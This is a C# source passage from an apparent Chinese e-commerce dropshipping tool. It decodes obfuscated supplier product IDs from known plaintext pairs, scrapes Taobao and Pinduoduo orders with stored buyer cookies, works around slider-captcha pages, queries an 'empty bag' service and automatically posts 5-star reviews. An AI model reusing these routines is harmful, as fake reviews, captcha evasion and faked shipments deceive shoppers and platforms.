if (pidCode.Length > 3 && (pidCode.Substring(0, 3) == "PBB" || pidCode.Substring(0, 3) == "TJH"))
{
int mid = Shop == null ? BaseClass.MallId : Shop.MallId;
if (pidCode.Contains("?"))
{
string data = UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName);
data += "&mall_id=" + mid + "&encode=" + GetHtml.UrlEncodeUtf8(pidCode);
string urlx = BaseClass.BuildObjString("decode&act=get");
idx = GetHtml.PostUtf8(urlx, data);
}
else if (pidCode.Contains("#"))
{
string data = UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName);
data += "&mall_id=" + mid + "&encode=" + GetHtml.UrlEncodeUtf8(pidCode);
string urlx = BaseClass.BuildObjString("decode&act=getx");
idx = GetHtml.PostUtf8(urlx, data);
}
else
{
idx = GetUpId(pidCode, mid);
}
DeCode(idx);
return;
}
if (pidCode.Contains("JM_"))
{
string pid = Decode(pidCode);
if (string.IsNullOrEmpty(pid))
UpId.Message = "解密失败,字典不足";
AddToTemp(proId);
return;
}
url = BaseClass.LoginApiUrl + "?obj=upshopid/upid&act=get";
string datay = "&pdd_id=" + proId + "&table=" + (proId % 1024);
string htmly = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + datay);
if (!string.IsNullOrEmpty(htmly) && htmly.Contains("-"))
{
DeCode(idx);
return;
}
UpId.Message = "未找到解密方法,请联系管理员";
}
public void DeCode(string idx)
{
string rid = BaseRegex.GetMatchRegexString(idx, @"([\d]+)");
if (string.IsNullOrEmpty(rid))
{
UpId.Message = "解密遇到空数据";
return;
}
UpId.ProductIdFrom = long.Parse(rid);
if (idx.StartsWith("tb-"))
UpId.SiteIdFrom = 1;
if (idx.StartsWith("pd-"))
UpId.SiteIdFrom = 2;
if (idx.StartsWith("al-"))
UpId.SiteIdFrom = 3;
if (idx.StartsWith("jx-"))
UpId.SiteIdFrom = 4;
if (idx.StartsWith("wd-"))
UpId.SiteIdFrom = 6;
UpId.GetOk = true;
}
public bool GetServerId(long pid, out string idx)
{
idx = "";
string url = BaseClass.LoginApiUrl + "?obj=upshopid/upid&act=get";
string data = "&pdd_id=" + pid + "&table=" + (pid % 1024);
string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex(Shop.ShopId, Shop.ShopName) + data);
if (html == "none")
return false;
idx = html;
return true;
}
/// <summary>
/// 新版加密解密
/// </summary>
/// <param name="code"></param>
/// <param name="mid"></param>
/// <returns></returns>
public string GetUpId(string code, int mid)
{
if (string.IsNullOrEmpty(code) || !code.Contains("PBB") && !code.Contains("TJH") || !code.Contains("|"))
return "";
try
{
int ridMain = int.Parse(code.Substring(code.IndexOf("|") + 1));
int ridClient = (mid % ridMain) % 26;
List<int> k = new List<int>();
char[] ke = mid.ToString().ToCharArray();
for (int i = 0; i < ke.Length; i++)
{
int j = int.Parse(ke[i].ToString());
k.Add(j);
}
string codeNew = code.Substring(3, code.IndexOf("|") - 3);
byte[] b = Convert.FromBase64String(codeNew);
int y = 0;
for (int i = 0; i < b.Length; i++)
{
int z = b[i] - k[y] * ridClient;
if (z < 0)
z += 256;
b[i] = (byte)(z % 256);
y++;
if (y >= ke.Length)
y = 0;
}
string decode = Encoding.UTF8.GetString(b);
return decode;
}
catch (Exception)
{
return "";
//throw;
}
}
private void AddToTemp(long proId)
{
if (proId == 0 || UpId.ProductIdFrom == 0)
return;
try
{
UpId.Url = GetJumpUrl(UpId.SiteIdFrom, UpId.ProductIdFrom);
if (!UpShopIdFromServer.UpIds.ContainsKey(proId))
{
UpShopIdFromServer.UpIds.Add(proId, UpId);
}
}
catch
{
}
}
/// <summary>
/// 解密密文
/// </summary>
/// <param name="code"></param>
/// <returns></returns>
public string Decode(string code)
{
string temp = "";
if (code.Contains("JM_DD8E5ED"))
{
UpId.SiteIdFrom = 1;
code = code.Replace("JM_DD8E5ED", "");
int b = 0;
char[] h = code.ToCharArray();
temp = "";
for (int i = 0; i < h.Length + 1; i += 2)
{
char a = h[i];
if (ShouZhangXinTb[b].ContainsKey(a))
temp += ShouZhangXinTb[b][a];
else
return "";
b++;
}
}
if (code.Contains("JM_D98817C43"))
{
UpId.SiteIdFrom = 2;
code = code.Replace("JM_D98817C43", "");
int b = 1;
char[] h = code.ToCharArray();
temp = "";
for (int i = 0; i < h.Length + 1; i += 2)
{
char a = h[i];
if (ShouZhangXinTb[b].ContainsKey(a))
temp += ShouZhangXinTb[b][a];
else
return "";
b++;
}
}
long.TryParse(temp, out UpId.ProductIdFrom);
UpId.SiteId = 2;
UpId.GetOk = true;
UpId.Url = GetJumpUrl(UpId.SiteIdFrom, UpId.ProductIdFrom);
return temp;
}
public static string GetJumpUrl(int siteId, long pid)
{
string url = "";
if (pid > 9900000000)
{
if (siteId != 3)
{
url = "http://taoke.qixiaoke.com/first.php?pid=mm_15630535_36114777_129010993&product_id=" + pid;
if (!string.IsNullOrEmpty(BaseClass.AlimamaPid) && !string.IsNullOrEmpty(BaseClass.AlimamaDomain))
url = "http://" + BaseClass.AlimamaDomain + "/first.php?pid=" + BaseClass.AlimamaPid + "&product_id=" + pid;
}
else
{
url = "https://detail.1688.com/offer/" + pid + ".html";
}
}
if (pid < 9900000000)
{
url = BaseClass.LoginApiUrl + "?obj=upshopid/pinduoduo_click&act=jump&id=" + pid;
}
return url;
}
public void Ini()
{
ShouZhangXinTb.Clear();
ShouZhangXinPdd.Clear();
string[] l = DeCodeString.Split('\n');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("\t"))
continue;
string[] li = l[i].Split('\t');
string c = li[0];
string id = li[1];
if (c.Contains("JM_DD8E5ED"))
{
int b = 0;
c = c.Replace("JM_DD8E5ED", "");
char[] h = c.ToCharArray();
char[] s = id.Trim().ToCharArray();
for (int j = 0; b < 12 && b < s.Length; j += 2)
{
if (!ShouZhangXinTb.ContainsKey(b))
ShouZhangXinTb.Add(b, new Dictionary<char, char>());
char a = h[j];
char d = s[b];
if (!ShouZhangXinTb[b].ContainsKey(a))
ShouZhangXinTb[b].Add(a, d);
if (!ShouZhangXinTb[b].ContainsKey(d))
ShouZhangXinTb[b].Add(d, a);
b++;
}
}
if (c.Contains("JM_D98817C43"))
{
int b = 0;
c = c.Replace("JM_D98817C43", "");
char[] h = c.ToCharArray();
char[] s = id.Trim().ToCharArray();
for (int j = 0; b < 12 && b < s.Length; j += 2)
{
if (!ShouZhangXinPdd.ContainsKey(b))
ShouZhangXinPdd.Add(b, new Dictionary<char, char>());
char a = h[j];
char d = s[b];
if (!ShouZhangXinPdd[b].ContainsKey(a))
ShouZhangXinPdd[b].Add(a, d);
if (!ShouZhangXinPdd[b].ContainsKey(d))
ShouZhangXinPdd[b].Add(d, a);
b++;
}
}
}
string allMun = "0123456789";
foreach (KeyValuePair<int, Dictionary<char, char>> key in ShouZhangXinTb)
{
string noHad = allMun;
string noReplace = allMun + "ABCDEF";
string temp = "";
foreach (KeyValuePair<char, char> ke in key.Value)
{
noHad = noHad.Replace(ke.Value.ToString(), "");
noReplace = noReplace.Replace(ke.Key.ToString(), "");
temp += ke.Key + " = " + ke.Value + "\r\n";
}
if (noHad.Length == 1)
{
char[] no = noReplace.ToCharArray();
foreach (char c in no)
{
key.Value.Add(c, char.Parse(noHad));
}
}
}
foreach (KeyValuePair<int, Dictionary<char, char>> key in ShouZhangXinPdd)
{
string noHad = allMun;
string noReplace = allMun + "ABCDEF";
string temp = "";
foreach (KeyValuePair<char, char> ke in key.Value)
{
noHad = noHad.Replace(ke.Value.ToString(), "");
noReplace = noReplace.Replace(ke.Key.ToString(), "");
temp += ke.Key + " = " + ke.Value + "\r\n";
}
if (noHad.Length == 1)
{
char[] no = noReplace.ToCharArray();
foreach (char c in no)
{
key.Value.Add(c, char.Parse(noHad));
}
}
}
ShouZhangXinPdd[9] = ShouZhangXinTb[10];
//string t = Decode("JM_DD8E5EDC3643D01817BAEC21C67352");
}
public string DeCodeString = @"JM_DD8E5EDC3542D11713B9EB21C07752 564961026602
JM_DD8E5EDC3642D01710B8EF21C47754 554862166204
JM_DD8E5EDC3641D0191BB8E82FC67658 557889118018
JM_DD8E5EDC3542DC1411B0EE21C57756 564453976306
JM_DD8E5EDC3545DF191BB9ED25C07558 563789042628
JM_DD8E5EDC3542D0171AB0ED21C57555 564868946325
JM_DD8E5EDC364FD81713BBEC21C47151 559061256261
JM_DD8E5EDC3542DB1913BEED21C07353 564381746643
JM_DD8E5EDC3641DE111ABDED24C47F57 557608443287
JM_DD8E5EDC3542DC1411B0EE21C57756 564453976306
JM_DD8E5EDC364ED81514BEE82FC77250 558046718150
JM_DD8E5EDC3642D01710B8EF21C47754 554862166204
JM_DD8E5EDC3641DB1512BEEF26C27251 557340761451
JM_DD8E5EDC3543DF1016B1EF27C57050 565714860370
JM_DD8E5EDC374FDD1715B8E923C07152 549567104662
JM_DD8E5EDC3146DC1716BBE82EC37356 520464219546
JM_DD8E5EDC3746DE1511BFE820C37751 540643617501
JM_DD8E5EDC3643DA191ABDEB20C77E56 555288427196
JM_DD8E5EDC3545DA1214B9EA25CF7056 563236032976
JM_DD8E5EDC3543DF1812BDE020C17257 565790497757
JM_DD8E5EDC3545DB131ABCE021C17E50 56332859690
JM_DD8E5EDC3542D01914B0EB2FC77F58 564886928188
JM_DD8E5EDC3543DE1115BEEB22C07259 565607725659
JM_DD8E5EDC3540D91611BBED26C47659 566173241219
JM_DD8E5EDC3544D0111BBCED27CF7351 562809540941
JM_DD8E5EDC3740DA1211BFED2FC67F56 546233648086
JM_DD8E5EDC374FDD1914BAEB21C07354 549586326644
JM_DD8E5EDC3543D81313BFEC24C47E50 565021653290
JM_DD8E5EDC3141D01316BBE923C57755 527824204305
JM_D98817C43B40DC1415B9E022CE 864570958
JM_D98817C43A44DE1212BCE827 92630510
JM_D98817C43142DD1814BDED23C0 245964446
JM_D98817C43B40DC1415B9E022CE 864570958
JM_D98817C43445DC1310BCE927CF 734225009
JM_D98817C43446DD1014BAEF23C4 705163642
JM_D98817C43440D81116BBEA21C0 760042366
JM_D98817C43A45D0121BBDEC22CF 938394559
JM_D98817C4354FDD1017BAE124C0 695153836
JM_D98817C4354FDA191BB9EC21C7 692890561
JM_D98817C43547DD1215BFEA2E 61537639
JM_D98817C43445DF1313B8E82F 73721118
JM_D98817C43045DD1413BAE120C2 335513874
JM_D98817C43546DA1615BBED23C6 602772440
JM_D98817C43140DF141ABFE12FC4 267586882
JM_D98817C43541D11910BDE827C4 679824102
JM_D98817C43446D91316BEE02F 70124798
JM_D98817C43440D11110B1EA25C4 769028322
JM_D98817C43246DB1316BBEE25C27E 1032427249
JM_D98817C43643DC121ABFED21C7 554386461
JM_D98817C43A46DF131ABAEF23 90728364
JM_DD8E5EDC3741DF1011B8E120CE7F59 547713187889
JM_DD8E5EDC3141DF1210B9E923CE7057 527732004877
JM_DD8E5EDC374EDB1213B1E922CF7553 548331805923
JM_DD8E5EDD374FDD1013B8EF22C47E 44951116529
JM_DD8E5EDC3742D81111BBEA20C27355 544003237445
JM_DD8E5EDC3745D91217B9E12FC27354 543135088444
JM_DD8E5EDC3547DF1013B1E120C17F57 561711887787
JM_DD8E5EDC3747D81214BDEA2ECF7051 541036439971
JM_DD8E5EDC3041D1151AB1E122C37254 537948885554
JM_DD8E5EDC3640DB131AB9EC2FC37E52 556328058592
JM_DD8E5EDC3646DE1112B8EF25CF7256 550600162956
JM_DD8E5EDC3641DA151ABFEC2FC57751 557248658301
JM_DD8E5EDC3640DC1415B1ED2ECE7352 556457849842
JM_DD8E5EDC3045DF1511BDEA21C17F51 533743436781
JM_DD8E5EDC3147DB1311BBE923C77457 521323204137
JM_DD8E5EDC364EDC1811B1E821C67253 558493816053
JM_DD8E5EDD3743D01117BDEE26C073 44580547164
JM_DD8E5EDD3144DC1014B1E12EC673 42241688904
JM_DD8E5EDD374ED01114BCEB20C174 44880652773
JM_DD8E5EDC304EDB1712B9E926C27E54 538360001494
JM_DD8E5ED83B43D91217B9EA2FC276 18513503841
JM_DD8E5EDC3142DC1814BDEA21C37652 524496436512
JM_D98817C43645DD1512B0EC20 53540957
JM_D98817C43142D81917BFE826C2 240856114
JM_D98817C43543D0171AB0EF23C0 658689646
JM_D98817C4314ED8131BB8EB 2802912
JM_D98817C4364FDA1212B0E821CF 592309169
JM_D98817C43247D01612B1EC2E 11870859
JM_D98817C43546DB1316BDE8 6032441
JM_D98817C4314ED8131BB8EB 2802912
JM_D98817C4364FDA1212B0E821CF 592309169
JM_D98817C43247D01612B1EC2E 11870859
JM_D98817C43546DB1316BDE8 6032441
JM_D98817C4324EDB1110B9E027 18302090
JM_D98817C43743DB1113B8E92FCF 453011089
JM_DD8E5EDB3345DB1215BDEE2FC076 20333747861
JM_DD8E5EDB3340DA1414B8E82EC474 20625611923
JM_DD8E5EDD3347D91714BAE024C27E 40116639349
JM_DD8E5ED83346D91911B0EC2FC676 10018395801
JM_DD8E5EDA3545DB1016B0EF2FC571 36331496836
JM_D98817C43245D81312BFEE22C4 130206752
JM_D98817C43041D91617BCEA25C7 371755321
JM_D98817C43546DB181AB0E0 6039899
JM_D98817C43140DA1412B9EE 2625007
JM_D98817C43543D0171AB0EF23C0 658689646
JM_D98817C43142D81917BFE826C2 240856114
JM_D98817C43245DD1417BFEF24 13555663
JM_D98817C43246DB1211B9EF20C375 1033306752
JM_D98817C43A41D11315BCE920C6 979275070
JM_D98817C4324FDF1816B9EC23C2 197940544
JM_D98817C43446DB1610BCEC 7037255
JM_D98817C43544D0171ABAEB27C0 628683206
JM_D98817C43745DF1916BBE126C3 437842815
JM_D98817C4304EDC1913B0EA26C4 384819312
JM_D98817C43A42D11713B1E120C3 949618875
JM_D98817C43246DC1416BEEB24C1 104547237
JM_D98817C43A4FDF1815BDEC21C2 997974564
JM_D98817C43544D91115BCEE2FC5 621075783
JM_D98817C43A42DA111BBEE9 9420970
JM_D98817C43B40DA131BBFEA26C7 862296311
JM_D98817C4324FDE1712B9E820 19660017
JM_D98817C43140DF191BB8EF 2678916
JM_D98817C43045DA1111BCEE26 33203571
JM_D98817C43544DF1711BAE0 6276339
JM_D98817C43447DE1011B9E925CF 716130029
JM_D98817C4304FD01310BDE820C1 398224177
JM_D98817C43246D81811B8ED27CE73 1009314084
JM_D98817C4364FD01017BEE127CF 598157809
JM_D98817C43247D01217BEE122 11835785
JM_D98817C43544D01017B8E92FC0 628151086
JM_D98817C43545DA121ABAE020C5 632383973
JM_D98817C4304FD11116B8EB27C6 399041200
JM_D98817C43A43D1101ABEE020C6 959187970
JM_D98817C43241DC1313BEED27 17421740";
}
public class UpShopIdBase
{
public int SiteId = 0;
public long ProductId = 0;
public int SiteIdFrom = 0;
public long ProductIdFrom = 0;
public string Url = "";
public string UpCode
{
get
{
switch (SiteIdFrom)
{
case 1:
return "tb-" + ProductIdFrom;
case 2:
return "pd-" + ProductIdFrom;
case 3:
return "al-" + ProductIdFrom;
}
return "";
}
}
public bool GetOk = false;
public string Message = "";
}
public class UpShopIdFromServer
{
/// <summary>
/// 上家id队列:id , site_id +'000' + productid
/// </summary>
public static Dictionary<long, UpShopIdBase> UpIds = new Dictionary<long, UpShopIdBase>();
}
}
+621
View File
@@ -0,0 +1,621 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using AllBase;
using System.IO;
using System.Windows.Forms;
using Work.Tips;
using System.Threading.Tasks;
using System.Linq;
using Work.Pinduoduo;
using Work.Taobao;
using Work.BuyUsers;
namespace Work
{
public class AutoConfirmExpress
{
public static List<KeyValueBase> ExpressList = new List<KeyValueBase>();
public int BuyType;
public string Cookies = "";
public static List<string> ordersx = new List<string>();//存储已发货的订单--拍单
public static Dictionary<string, string> beforeOrderx = new Dictionary<string, string>();
public static List<string> ordersp = new List<string>();//存储已发货的订单--拼单
public static Dictionary<string, string> beforeOrderp = new Dictionary<string, string>();
public Dictionary<string, ProvinceBase> Province = new Dictionary<string, ProvinceBase>();
public AutoConfirmExpress()
{
}
public AutoConfirmExpress(string cookies)
{
Cookies = cookies;
}
public AutoConfirmExpress(int buyType, string cookies)
{
Cookies = cookies;
BuyType = buyType;
if (ExpressList.Count > 0)
{
return;
}
var m = BaseRegex.GetMatchRegex(ref ExpressNames, @"<a val=""([\d]+)"">([^<]+?)</a>");
for (int i = 0; i < m.Count; i++)
{
string key = m[i].Groups[1].Value;
string value = m[i].Groups[2].Value;
KeyValueBase k = new KeyValueBase(key, value);
ExpressList.Add(k);
}
}
public AutoConfirmExpress(int buyType)
{
BuyType = buyType;
if (ExpressList.Count > 0)
{
return;
}
var m = BaseRegex.GetMatchRegex(ref ExpressNames, @"<a val=""([\d]+)"">([^<]+?)</a>");
for (int i = 0; i < m.Count; i++)
{
string key = m[i].Groups[1].Value;
string value = m[i].Groups[2].Value;
KeyValueBase k = new KeyValueBase(key, value);
ExpressList.Add(k);
}
}
public static List<string> TaobaoOrder = new List<string>();
public void GetTaobao(string cookies)
{
//Dictionary<char,Dictionary< char,Dictionary < char,string>>> chars = new Dictionary<char, Dictionary<char, Dictionary<char, string>>>();
string url = "https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm?action=itemlist/BoughtQueryAction&event_submit_do_query=1&tabCode=waitConfirm";
string refere = url;
string html = GetPostTaobaoHtml.UploadTaobao(url, refere, false, cookies);
html = GetHtml.Decode(html);
if (!string.IsNullOrEmpty(html))
html = html.Replace("\\\"", "\"").Replace("\\/", "/");
int page = BaseRegex.GetIntJson(ref html, "totalPage");
for (int k = 1; k <= page; k++)
{
if (k != 1)
{
//string data =
// "buyerNick=&dateBegin=0&dateEnd=0&lastStartRow=&logisticsService=&options=0&orderStatus=&pageNum=" + k
// + "&pageSize=15&queryBizType=&queryOrder=desc&rateStatus=&refund=&sellerNick=&prePageNo=2";
string data = "lastStartRow=&options=0&orderStatus=SEND&pageNum=" + k + "&pageSize=15&queryBizType=&queryOrder=desc&tabCode=waitConfirm&prePageNo=" + (k - 1);
url = "https://buyertrade.taobao.com/trade/itemlist/asyncBought.htm?action=itemlist/BoughtQueryAction&event_submit_do_query=1&_input_charset=utf8";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
Thread.Sleep(5 * 1000);
}
var m = BaseRegex.GetMatchRegex(ref html, @"\{""extra"":([\w\W]+?)""quantity"":""([\d]+)""");
for (int i = 0; m != null && i < m.Count; i++)
{
string list = m[i].Groups[0].Value;
string oid = BaseRegex.GetLongJson(ref list, "id").ToString();
if (oid == "553074309923804790")
{
}
//if (!beforeOrder.ContainsKey(oid))
//{
// continue;
//}
//根据上家的订单从数据库获取此订单
string status = BaseRegex.GetStringJson(ref list, "tradeStatus");
if (status != "WAIT_BUYER_CONFIRM_GOODS" && status != "TRADE_BUYER_SIGNED" && status != "TRADE_CLOSED" && status != "TRADE_FINISHED")
{
continue;
}
string sell = BaseRegex.GetMatchRegexString(ref list, @"""seller"":\{([^\}]+?)\}");
long shopId = BaseRegex.GetLongJson(ref sell, "id");
url = "https://wuliu.taobao.com/user/order_detail_new.htm?trade_id=" + oid + "&seller_id=" + shopId;
html = GetPostTaobaoHtml.UploadTaobao(url, refere, false);
Thread.Sleep(1500);
string no = BaseRegex.GetMatchRegexString(ref html,
@"<label class=""label"">运单号码:</label>\s+<span class=""em"">([^<]+?)</span>");
string company = BaseRegex.GetMatchRegexString(ref html,
@"<label class=""label"">物流公司:</label>\s+<span class=""em"">([^<]+?)</span>");
if (string.IsNullOrEmpty(no) || string.IsNullOrEmpty(company))
{
continue;
}
no = no.Trim();
company = company.Trim();
if (company == "中国邮政")
{
company = "邮政快递包裹";
}
var express = GetExpressId(company);
if (express == null)
{
LogSave.Add("没有找到快递公司");
continue;
}
company = express.Value;
int companyId = int.Parse(express.Key);
//string orderId = beforeOrder[oid];
}
}
}
public KeyValueBase GetExpressId(string company)
{
if (ExpressList.Count == 0)
{
var m = BaseRegex.GetMatchRegex(ref ExpressNames, @"<a val=""([\d]+)"">([^<]+?)</a>");
for (int i = 0; i < m.Count; i++)
{
string key = m[i].Groups[1].Value;
string value = m[i].Groups[2].Value;
KeyValueBase k = new KeyValueBase(key, value);
ExpressList.Add(k);
}
}
for (int i = 0; i < ExpressList.Count; i++)
{
if (ExpressList[i].Value == company || ExpressList[i].Value.Replace("快递", "速递") == company || ExpressList[i].Value.Replace("快递", "速运") == company)
return ExpressList[i];
}
for (int i = 0; i < ExpressList.Count; i++)
{
int subNum = 2;//截取的长度
if (ExpressList[i].Value.Contains("邮政") && ExpressList[i].Value.Length > 3 && company.Length > 3)
{
subNum = 4;
}
if (ExpressList[i].Value.Length > 1 && company.Length > 1 && ExpressList[i].Value.Substring(0, subNum) == company.Substring(0, subNum))
return ExpressList[i];
}
return null;
}
#region 新方式获取买手号拍单物流信息
#endregion
#region 从拼多多买手获取上家发货的物流信息后,自动购买快递单
public string IsBuyEmptyBag(string orderId)
{
string data = UserLogin.GetSignaturex();
StringBuilder s = new StringBuilder();
s.Append("&order_id=" + orderId);
string url = BaseClass.BuildObjString("pay_group_order&act=get_empty_id");
string html = GetHtml.PostUtf8(url, data + s);
return html;
}
#region 将上家Id存到txt
public static void PreserveBuyEmptyBags(string orderId)
{
string path = Environment.CurrentDirectory + "\\temp\\emptybag_temp";
try
{
//判断文件路径是否存在
DirectoryInfo directory = new DirectoryInfo(path);
bool isHas = directory.Exists;
if (!isHas)//若文件路径不存在则创建
{
isHas = FileBase.DirectoryCreate(path);
}
if (isHas)
{
string file = "BuyEmptyBag.txt";
string filePath = Environment.CurrentDirectory + "\\temp\\emptybag_temp\\" + file;
//FileStream fileStream = new FileStream(filePath, FileMode.Create);
StreamWriter streamWriter = new StreamWriter(filePath, true);
string content = orderId;
streamWriter.Write(content + "\r\n");
streamWriter.Flush();
streamWriter.Close();
//fileStream.Close();
}
}
catch (Exception)
{
//throw;
}
}
#endregion
#endregion
#region 从服务端获取已发货的订单
public void GetConfirmOrders()
{
int page = 1;
string url, html;
for (int p = 0; p < page; p++)
{
Thread.Sleep(1000);
string data = UserLogin.GetSignaturex();
url = BaseClass.BuildObjString("pay_group_order&act=get_confirm_order&buy_type=" + BuyType + "&page=" + p);
html = GetHtml.PostUtf8(url, data);
page = BaseRegex.GetIntValue(html, "page");
if (string.IsNullOrEmpty(html))
{
LogSave.Add("拼单", "获取订单列表网络异常,请稍后重试");
return;
}
var mm = BaseRegex.GetMatchRegex(ref html, "<order ([^>]+?)>");
for (int i = 0; i < mm.Count; i++)
{
string list = mm[i].Groups[0].Value;
string orderId = BaseRegex.GetStringJson(ref list, "order_id_buy");
string orderIdb = BaseRegex.GetStringJson(ref list, "order_id");
if (string.IsNullOrEmpty(orderId))
{
continue;
}
if (BuyType == 1)
{
var isHas = ordersp.Find(x => x != null && x == orderId);
if (isHas == null)
ordersp.Add(orderId);
if (!beforeOrderp.ContainsKey(orderId))
beforeOrderp.Add(orderId, orderIdb);
}
else
{
var isHas = ordersx.Find(x => x != null && x == orderId);
if (isHas == null)
ordersx.Add(orderId);
if (!beforeOrderx.ContainsKey(orderId))
beforeOrderx.Add(orderId, orderIdb);
}
}
}
}
#endregion
/// <summary>
/// 订单确认收货
/// </summary>
/// <param name="oid"></param>
/// <param name="goods_id"></param>
public void ConfirmOrder(string oid, string goods_id)
{
string url = "http://apiv4.yangkeduo.com/order/" + oid + "/received?pdduid=" + BaseClass.PddUid + "&is_back=1";
string data = "{}";
string refere = BaseClass.PddMobileUrlx + "orders.html?refer_page_name=login&refer_page_id=login_1513005785399_B4Dxk8TYgA&type=3&order_index=0";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Cookies);
refere = BaseClass.PddMobileUrlx + "comments.html?order_sn=" + oid + "&goods_id=" + goods_id +
"&page_el_sn=99664&type=3&refer_page_name=my_order&refer_page_id=my_order_1513006052449_n43miXeWuI&refer_page_sn=10032&refer_page_el_sn=99664";
url = "http://apiv4.yangkeduo.com/v2/order/goods/review?pdduid=" + BaseClass.PddUid;
data = "{\"goods_id\":" + goods_id + ",\"order_sn\":\"" + oid + "\",\"desc_score\":5,\"logistics_score\":5,\"service_score\":5,\"comment\":\"\",\"pictures\":[]}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Cookies);
if (html.Contains("rating_id"))
{
LogSave.Add("拼单", "确认收货成功:" + oid);
}
Thread.Sleep(300);
}
public bool UpdateServer(string order_id, string shippingName, string trackingNumber, int expressId, string oId, string status)
{
StringBuilder s = new StringBuilder();
if (status != "发货成功" && status != "快递单发货成功" && status != "错误单发货成功" && status != "单号修改成功" && !status.Contains("单号修改失败"))//已发货订单不改成上家发货
{
s.Append("&status=" + 8);//上家发货
}
s.Append("&oid=" + order_id);
s.Append("&express_name=" + shippingName);
s.Append("&express_id=" + expressId);
s.Append("&express_no=" + trackingNumber);
string now = BaseClass.GetServerTimeString().ToString("yyyy-MM-dd HH:mm:ss");
s.Append("&get_up_express_time=" + now);
s.Append("&get_time=1");
string data = UserLogin.GetSignaturex();
string url = BaseClass.BuildObjString("pay_group_order&act=updatex&buy_type=" + BuyType);
string html = GetHtml.PostUtf8(url, data + s);
if (html != "ok")
{
Thread.Sleep(10 * 1000);
data = UserLogin.GetSignaturex();
html = GetHtml.PostUtf8(url, data + s);
}
if (html != "ok")
{
Thread.Sleep(30 * 1000);
data = UserLogin.GetSignaturex();
html = GetHtml.PostUtf8(url, data + s);
}
if (html != "ok")
{
//LogSave.Add("拼单", "自动提交物流信息失败,请检查网络");
string msg = "【订单:" + order_id + "】 获取上家物流更新到服务器异常" + html + "\r\n\r\n";
FileBase.WriteTxt("\\temp\\UpdUpExpLog", "updUpExpLog", msg, false);
return false;
}
else
{
return true;
}
}
#region 获取进价
public string CheckOrderPrice(string orderId_buy, string orderId, string payMobile)
{
string buyPrice = "";
//string provinceName = "";
//string cityName = "";
//string districtName = "";
//string shippingAddress = "";
string addressDetail = "";
string receiveName = "";
string mobile = "";
if (orderId_buy.Contains("-"))
{
var payAccount = PddBuyUser.buyUserCookies.First(x => x.Value.UserName == payMobile);
string cookies = "";
for (int j = 0; j < payAccount.Value.Cookies.Count; j++)
{
cookies += payAccount.Value.Cookies[j].Name + "=" + payAccount.Value.Cookies[j].Value + "; ";
}
string url = BaseClass.PddMobileUrl + "order.html?order_sn=" + orderId_buy +
"&refer_page_name=my_order&refer_page_id=my_order_1513009667550_P4xCgmERE6&refer_page_sn=10032";
string refere = BaseClass.PddMobileUrl;
string html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies);
html = GetHtml.UrlDecode(html);
buyPrice = BaseRegex.GetMatchRegexString(ref html, "<i>¥</i><span>([\\s\\S]+?)</span>");
if (html.Contains("window.rawData=null;"))
{
MessageBox.Show("买手号已掉线,无法读取");
return "";
}
if (string.IsNullOrEmpty(buyPrice))
{
decimal buyPriceTemp = BaseRegex.GetDecimalJson(ref html, "displayAmount");
if (buyPriceTemp > 0)
{
buyPrice = (buyPriceTemp / 100).ToString();
}
}
string provinceName = BaseRegex.GetStringJson(ref html, "provinceName");
string cityName = BaseRegex.GetStringJson(ref html, "cityName");
string districtName = BaseRegex.GetStringJson(ref html, "districtName");
string shippingAddress = BaseRegex.GetStringJson(ref html, "shippingAddress");
addressDetail = provinceName + cityName + districtName + shippingAddress;
receiveName = BaseRegex.GetStringJson(ref html, "receiveName");
mobile = BaseRegex.GetStringJson(ref html, "mobile");
}
else
{
TbHttpReauest tbRequest = new TbHttpReauest();
var payAccount = TaoBaoBuyUser.buyUserCookies.First(x => x.Value.UserName == payMobile);
if (payAccount.Key.site_id==3)//1688读进货价
{
tbRequest.url = "https://trade.1688.com/order/new_step_order_detail.htm?orderId=" + orderId_buy;
tbRequest.cookies = Cookies;
string html = tbRequest.MakeRequests();
//把 GBK 数据 转换为 URL 编码的字符串
html = GetHtml.UrlDecode(html).Replace("\\", "");
System.Text.RegularExpressions.Regex rg = new System.Text.RegularExpressions.Regex("(?<=(total-price\">))[.\\s\\S]*?(?=(</em>))", System.Text.RegularExpressions.RegexOptions.Multiline | System.Text.RegularExpressions.RegexOptions.Singleline);
buyPrice = rg.Match(html).Value;
}
else
{
tbRequest.url = "https://trade.taobao.com/trade/detail/trade_order_detail.htm?biz_order_id=" + orderId_buy;
tbRequest.cookies = Cookies;
string html = tbRequest.MakeRequests();
html = GetHtml.UrlDecode(html).Replace("\\", "");
//url = "https://buyertrade.taobao.com/trade/itemlist/asyncBought.htm?action=itemlist/BoughtQueryAction&event_submit_do_query=1&_input_charset=utf8";
//string refer = "https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm";
//string data = "pageNum=1&pageSize=15&auctionTitle=" + orderId_buy + "&itemTitle=" + orderId_buy + "&prePageNo=1";
//html = GetPostTaobaoHtml.UploadTaobaoPost(url, refer, true, data, true, Cookies);
buyPrice = BaseRegex.GetMatchRegexString(ref html, "\"name\":\"实付款\",\"value\":\"¥([\\s\\S]+?)\"");
if (string.IsNullOrEmpty(buyPrice))
{
string url = "https://trade.taobao.com/trade/detail/trade_order_detail.htm?biz_order_id=" + orderId_buy;
//string url = "https://trade.taobao.com/trade/detail/trade_order_detail.htm?biz_order_id=" + orderId_buy;
html = GetPostTaobaoHtml.UploadTaobao(url, url, true, Cookies);
if (html.Contains("滑动一下") || html.Contains("验证码") || html.Contains("_____tmd_____/punish"))
{
html = GetPostTaobaoHtml.UploadTaobao(url, url, true);//用滑动之后的cookies获取
if (html.Contains("滑动") || html.Contains("_____tmd_____/punish"))
{
url = "https://trade.tmall.com/detail/orderDetail.htm?biz_order_id=" + orderId_buy + "&forward_action=";
html = GetPostTaobaoHtml.UploadTaobao(url, url, true, Cookies);
}
}
